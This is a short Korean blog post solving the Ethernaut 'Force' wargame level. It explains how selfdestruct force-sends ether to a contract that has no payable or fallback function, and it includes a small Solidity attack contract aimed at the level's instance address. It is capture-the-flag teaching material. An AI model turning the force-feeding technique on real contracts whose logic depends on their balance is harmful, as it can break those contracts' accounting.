[ethernaut] Force

wooz3k.eth·2022년 12월 27일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

이 문제는 컨트렉트에 payable 함수 및 fallback이 구현되어있지 않아 이더를 정상적인 방법으로 받을 수 없는 컨트렉트에 이더를 보내는 문제이다.

강제로 이더를 보낼 수 있는 함수가 존재하는데 selfdestruct(address) 함수이다. 이 함수는 호출되면 컨트렉트가 사라지게 된다. 그 대신 그 컨트렉트에 남아있던 모든 이더를 인자로 넘긴 address에 이더를 강제로 전송하게 된다.

contract attack {
    
    address public target = address(0x4b0446159399C57c3c04aa24927ACB5d99b49eC2);

    function atk() public
    {
        selfdestruct(payable(target));
    }

    receive() external payable
    {
        
    }
}

selfdestruct를 하는 컨트렉트를 만들고 이더를 조금 보내고 atk()함수를 호출하면 문제 컨트렉트에 이더 잔액을 높일 수 있다.

profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글